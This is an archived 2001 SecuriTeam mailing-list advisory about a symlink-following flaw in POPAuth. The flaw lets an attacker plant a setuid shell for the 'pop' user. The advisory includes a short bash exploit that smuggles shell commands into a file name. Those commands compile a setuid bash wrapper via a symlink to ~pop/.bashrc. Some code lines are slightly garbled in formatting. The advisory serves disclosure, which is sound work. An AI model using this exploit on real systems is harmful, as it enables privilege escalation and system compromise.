

[UNIX] POPAuth Symlink Problem Allows Creation of a Setuid Shell

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2001-12/0097.html>

From: support@securiteam.com

Date: 12/23/01

From: support@securiteam.com

To: list@securiteam.com

Date: Sun, 23 Dec 2001 04:28:13 +0100 (CET)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

POPAuth Symlink Problem Allows Creation of a Setuid Shell

SUMMARY

POPAuth is part of the POP before SMTP scheme, the scheme would allow you to restrict relaying through your mail server to only local users that have authenticated using Post Office Protocol. A security vulnerability in the product allows attackers to create a setuid shell with root privileges, allowing system wide compromising of system security.

DETAILS

Impact:

In case of suid POPAuth and valid shell for user 'pop', the attached script will create suid-pop shell, if someone su to 'pop'. This may happen as a part of some automated check script (startup script).

Exploit:

```
#!/bin/bash
```

```
# popauth symlink follow vuln by IhaQueR
```

```
# this will create .bashrc for user pop
```

```
# and ~pop/sup suid shell
```

Securiteam: [UNIX] POPAuth Symlink Problem Allows Creation of a Setuid Shell

```
FILE=$(perl -e 'print "/tmp/blah1\\"ncd ~\necho >blah.c \' #include  
<stdio.h>\n main(){setreuid(geteuid(),getuid());execlp(\\\\"bash\\",  
\\\\"bash\\",NULL);}'\ngcc blah.c -o sup\nchmod u+s sup\necho  
done\n\n')
```

```
In -s /var/lib/pop/.bashrc "$FILE"
```

```
/usr/sbin/popauth -trace "$FILE"
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:paul@starzetz.de> Paul Starzetz.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

-
- *Previous message:* support@securiteam.com: "[NT] Windows FTP 'Network Place' Exposes Saved Passwords"
 - *Messages sorted by:* [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)